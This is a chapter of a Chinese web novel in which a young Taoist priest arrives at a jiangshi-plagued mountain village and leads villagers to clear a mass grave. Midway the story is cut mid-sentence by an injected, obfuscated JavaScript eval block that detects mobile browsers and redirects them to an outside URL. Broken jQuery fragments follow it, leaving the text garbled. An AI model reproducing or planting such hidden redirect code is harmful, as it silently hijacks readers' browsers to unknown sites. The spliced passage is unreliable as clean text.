1. 僵尸作祟

作品:《僵尸被道士欺负了

    湘西猛侗河流域地势险恶,山高水深,气候溽热,是一片原始丛林密布之地。


    穷山恶水出僵尸。


    世代居住在猛侗河流域的多有苗人,且是善放蛊的黑苗,邪术盛行,水银、砒霜、朱砂等防腐药剂滥用,久而久之渗入土地,使埋入地下的尸骨数年不腐。


    往来湘西的客商时有横死之辈,或水土不服患病,或被响马盗贼劫掠。这些尸首需灌注水银,以赶尸术送回故土。


    他们本身就是僵尸,赶尸匠在长途跋涉中难免出差错,丢失僵尸,愈加助长了僵尸的肆虐,酿成僵尸为祸一方。


    青溪寨是个闹僵尸很凶的地方。


    青溪寨坐落于熊山深处,夷汉杂处,寨民质朴闭塞,自产自销,习惯以物易物,千百年来不与外界通音信。


    寨后守着一片乱葬岗,因白骨森森棺木众多而得名白骨岭,荒凉破烂,蛛网密布,磷火飘飘,埋着数以千计的死骨头渣滓,白日让人感觉凉飕飕的,邪门得很。


    青溪寨是个古老淳朴的寨子,世代群居,行走婚制,由族长统领。族中青壮年大多采药为生,在悬崖峭壁边翘到珍贵的灵芝、九龙盘等物,用以和过路客商交换生活必须品和盐巴。


    近来,僵尸作祟,人心惶惶。


    不止一个寨民上山采药时碰到了僵尸,长长发青的獠牙,竖起的双臂,一碰一跳,见活人就扑,吓得寨民屁滚尿流。


    更有甚者僵尸白日侵入民宅,抢夺人家妻子,刀枪不入,化为黑烟遁逃。


    凡被掳走的人被吸干了精气,面如枯树皮,垂垂老矣,发丝、胡须皆白,瘦如皮包骨,仿佛一夜之间老了八十岁,稍碰即散架了。


    寨民又恨又怕,对僵尸憎之入骨。


    僵尸的老巢是白骨岭上的乱葬岗,寨子里青壮年曾数度组织民兵联合队上山清理,皆撞了一鼻子灰,铩羽而归,白白断送了数条性命。


    乱葬岗作为各种精怪死尸滋生的温床,常年笼罩着阴气,蛰伏各类毒虫。


    清晨,若有若无的雾气游移不定地缥缈在古老熊山上,愈加这片土地的神秘和鬼气。


    一位高冠黄袍、手持灵幡的年轻道士踏碎霜层,来到青溪寨的地界。


    寨民们闻声纷纷打开紧闭的大门,各家各户派一人迎接道士,将道士引到祠堂。


    族长八十岁了,头发花白,紧紧握住道士的手:“盼星星盼月亮总算把道长盼来了,山中僵尸作祟,人口不宁啊!”


    族长老眼昏花,念念叨叨半天才看清这次的道长是位松形鹤骨的年轻人,飘逸风流,腰携酒葫芦,仙气中加入了浓烈酒气,瞧着仅仅二十多岁的模样。


    寨民皆是一怔,暗暗揪心,过往请了那么多资历深厚的法师皆无功而返,这位清淡书生气的法师能胜任吗?


    陈玄同眺望了下山间白如豕膏变幻莫测的雾气,道:“贵寨尸气之浓,前所未有。”


    族长问:“敢问法师法力如何?有何过往战绩?非是质疑法师,怕法师白白被僵尸害了性命。”


    陈玄同笑了笑,“半吊子吧,刚出师。”


    说着拿起罗盘自顾自逡巡,口中捻神捻鬼念叨着奥涩的咒语,神神叨叨,像是骗吃骗喝的神棍。


    村民面面相觑,这道士靠谱吗?


    靠不靠谱也只能靠这道士了,青溪寨地处荒僻,穷山恶水,来一名法师要长途跋涉数月时光,到时寨里百姓早被僵尸害死,黄瓜菜都凉了。


    况且青溪寨的僵尸实在闹得太凶,许多人一听青溪寨的名头骇然色变,压根不来,花再多的钱也无济于事。


    眼前这位半吊子的年轻法师还是寨民辛辛苦苦节衣缩食,攒下的一点钱众筹来的,再贵的法师真请不起。


    众人正满脑子质疑,从人群中跌跌撞撞跑出一汉子,泪流满面,如丧考妣,“法师,求求你救救我媳妇儿吧!”


    汉子名叫铁旦,是个苗汉混血,强力壮能扛能干,给寨子做下不小贡献。


    前些日趁他上山采药,飞僵滚着黑烟侵入民宅抢走了他午睡中的妻子。


    铁旦拼了命上山救妻,一人独闯乱葬岗,非但没救回妻子,险些被僵尸吸干了精气,遍体鳞伤地逃回。


    这次众筹请法师,他家出钱最多。


    族长闻此落泪,连连附和道:“是啊,是啊,铁蛋是个苦孩子,他家媳妇还怀着三个月身孕呢,求法师尽一尽力。”


    陈玄同拍拍胸脯:“包在我身上。”


    暮色降临,陈玄同被安置在了义庄。


    青溪寨素来不留外人过夜,无论过往的客商还是请来的法师,这是规矩。


    因为僵尸作祟太凶,到了夜晚家家户户锁门闭舍,提心吊胆,严防死守。


    另外世道不太平,响马子盗贼时常光临青溪寨,借寄宿名义夜晚打家结舍,无人愿冒家破人亡的风险留一个外人过夜。


    所谓义庄,停死尸的地方。


    本来有个死光了儿女的丑陋老翁看守,三日前老翁也被僵尸戳死了,义庄如今空荡荡,挤满了死尸,没有一个活人。


    荒山野岭,乱葬义庄。


    冷月窥人,狼狐哀鸣。


    在此独自留宿需要一定的胆识和魄力,也需要一定的法力,八字必须够硬。


    铁旦把他领到这里,惭愧地挠头:“真是抱歉,让法师在这里凑合。明早我们来找法师,一道去乱葬岗清理尸体。”


    陈玄同不以为意,左右逡巡了一圈,除了破败阴森些,要比他从前风餐露宿好许多,挡风挡雨,夜里没那么多蚊虫。


    他铺了张毯子席地而坐,盘腿静摄,对义庄中黑森森的棺木和腐烂未清理的尸体视而不见,笑吟吟道:“没有老鼠就行。”


    铁旦挠挠头:“害,没有老鼠。十里八乡有生气儿的活物都被僵尸吸干了。”


    “用不用我留下来陪您?”


    话虽这么说,铁蛋实在不愿留下来,在这鬼地方多待一秒鸡皮疙瘩直涨,汗毛在寒气中直竖,呆上整夜精神得崩溃了。


    他这么说只是有求于人,希望道士能尽力把他的媳妇救回来。


    陈玄同道:“不用。”


    他自顾自取出酒葫芦,倒在棺材板边恣意饮酒,泰然自若,浩气清英,酒中神仙,半晌便在一片黑暗中呼吸匀净地入睡。


    铁旦看得瞠目结舌。


    这道士是有几分能耐的。


    翌日一早,陈玄同伸了个懒腰从睡梦中醒来,朝霞与山间岚气交织成一幅火红的画,日色冉冉,景色甚美。


    他眺望了会儿,铁旦领着村民明叉暗藏着大小工具结队朝义庄找他来了。


    “法师!”


    人头攒动,整个寨子的青壮年都出动了。有的上山便已累得气喘吁吁,有的东张西望,低头不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083871|179484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    敢瞥义庄陈列的死尸。


    陈玄同朗声道:“留下十个胆子大的,剩下统统回去。”


    去那么多人无用,胆小怯懦之辈反添累赘,留十个撬坟墓做苦力的够了。


    寨民巴不得回去,片刻走得干净。


    陈玄同将尸丹和防五毒的药饼分发给余众,前者在撬棺材板时含在嘴里,闭塞五感,免得被尸气撞了活人的阳气;后者则贴身佩戴于身,防山中毒物如蜈蚣、蜘蛛、蝮蛇等。


    每人携带一只公鸡,一捧糯米,一罐黑狗血。公鸡食百虫会打鸣,是化煞利器;糯米专克僵尸;黑狗血能镇邪。


    最后,取晨间清凉结霜的溪水泼在身上,尽量浇灭活人身上的阳刚之气。


    十一人结成小队往白骨岭乱葬岗挪去。


    白骨岭地如其名,刀削般的老山处处散落着白骨坟丘,越往深处走越密集,人心发麻,在太阳高照的昼日依旧寒得令人发怵。


    铁旦为救媳妇充当一行人的先锋,观此煞景,禁不住腿肚子转筋,内心是十五个吊桶七上八下,稍有失足摔进深不见底的万丈悬崖。


    中途又两个村民吓破了胆,时刻防备僵尸跳出来扑人,抚膺流涕,结伴做了逃兵。


    铁旦愤怒大声呵斥他们,陈玄同也不制止,事实上他一个人去都无所谓。


    终于挨到了乱葬岗,这里的死骨头渣滓多了数倍,棺木横七竖八,磷火飘飘。


    许多冤死鬼的坟墓埋在此,死不瞑目。


    众人的精神高度紧绷,呼吸都不敢大声。


    紫,白,黑,跳,飞。


    紫僵,顾名思义,表皮干枯紫皮的僵尸,僵尸的初级形态,威胁性不大。


    白、黑分别就是民间赫赫大名传得神乎其神的白凶和黑凶,僵体分别长白毛和黑毛。


    跳僵,能穿墙上树,刀枪不入。


    飞僵,僵尸进化的最终形态,多年修炼,尸气凝结出内丹,能白日飞行,不惧阳光,水火不毁,刀枪不入,有一定人类意识。


    据说这次掳走铁旦媳妇的就是飞僵。


    陈玄同出奇的冷静,平淡深邃的瞳孔中隐隐爬升危险而兴奋的气息,仿佛该怕的不是他,而是那些藏在暗处躲猫猫的僵尸。


    游戏的快感使他握桃木剑的手微微颤抖,希望游戏难度大些,刺激些,冒险些。


    他倒要见识见识所谓飞僵是何货色。


    桃木剑往土地一插,陈玄同长吸了口气:“各位,开工吧——”


    光天化日的没什么可怕的,他是来捉僵伏妖的,不是来干苦力的,拿的钱是捉僵的钱。而且他有洁癖。搬棺材板抬死尸刨坟掘墓的事,还是村民来吧,靠他一人得清理到什么时候去。


    寨民听他这么说勉强克制内心恐惧,战战兢兢动手,尽量聚在道士左右。


    苦些累些他们不怕,就怕遇见僵尸。


    一时众人热火朝天,各司其职,毁棺破墓,烧火焚尸,清理打扫,忙忙碌碌。叮叮当当,带着憎恨和畏惧扫荡乱葬岗。


    陈玄同将罗盘掏出,独自在乱葬岗来回逡巡,反复确认,终于来到了一排棺材面前。


    这一排棺材了不得。


    玄漆里里外外走了十八道,内棺外椁分两侧,雕刻牡丹和云纹,非富即贵。


    罗盘的指针如被磁铁吸住,死死指引。


    若有飞僵老巢,便是此处。